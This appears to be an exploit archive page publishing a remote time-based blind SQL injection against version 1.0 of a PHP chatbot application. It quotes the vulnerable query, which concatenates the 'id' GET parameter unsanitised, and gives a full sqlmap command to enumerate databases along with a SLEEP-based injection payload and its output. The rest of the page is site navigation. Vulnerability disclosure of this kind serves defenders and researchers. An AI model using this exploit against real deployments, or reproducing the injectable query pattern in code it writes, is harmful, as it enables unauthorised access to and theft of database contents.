ChatBot Application With A Suggestion Feature 1.0 SQL Injection

Authored by Saud Alenazi   Posted May 6, 2022

ChatBot Application with a Suggestion Feature version 1.0 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 6e5561beff591b12af8e2999685edb97e47363e65c7da33e3edf5c64ff8b548d

Download | Favorite | View

Related Files

Share This

Like 0   Tweet   LinkedIn   Reddit   Digg   StumbleUpon

Change Mirror   Download

```
# Exploit Title: ChatBot Application with a Suggestion Feature 1.0 - 'id' Blind SQL Injection
# Date: 05/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15316/chatbot-app-suggestion-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux


# Vulnerable Code

line 4 in file "/simple_chat_bot/admin/responses/view_response.php"

$qry = $conn->query("SELECT * from `response_list` where id = '{$_GET['id']}' ");

# Sqlmap command:

sqlmap -u 'http://localhost/simple_chat_bot/admin/?id=0&page=responses/view_response' -p id --level=5 --risk=3
--dbs --random-agent --eta

# Output:

Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=0' AND (SELECT 9931 FROM (SELECT(SLEEP(5)))Etug)-- bfDF&page=responses/view_response
```

Login or Register to add favorites

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

Intrusion Detection (866)   BSD (370)
Java (2,888)   CentOS (55)
JavaScript (817)   Cisco (1,917)
Kernel (6,255)   Debian (6,620)
Local (14,173)   Fedora (1,690)
Magazine (586)   FreeBSD (1,242)
Overflow (12,390)   Gentoo (4,272)
Perl (1,417)   HPUX (878)
PHP (5,087)   iOS (330)
Proof of Concept (2,290)   iPhone (108)
Protocol (3,426)   IRIX (220)
Python (1,449)   Juniper (67)
Remote (30,009)   Linux (44,118)
Root (3,496)   Mac OS X (684)
Ruby (594)   Mandriva (3,105)
Scanner (1,631)   NetBSD (255)
Security Tool (7,768)   OpenBSD (479)
Shell (3,098)   RedHat (12,339)
Shellcode (1,204)   Slackware (941)
Sniffer (885)   Solaris (1,607)
Spoof (2,165)   SUSE (1,444)
SQL Injection (16,089)   Ubuntu (8,147)
TCP (2,377)   UNIX (9,150)
Trojan (685)   UnixWare (185)
UDP (875)   Windows (6,504)
Virus (661)   Other
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter

Subscribe to an RSS Feed

packet storm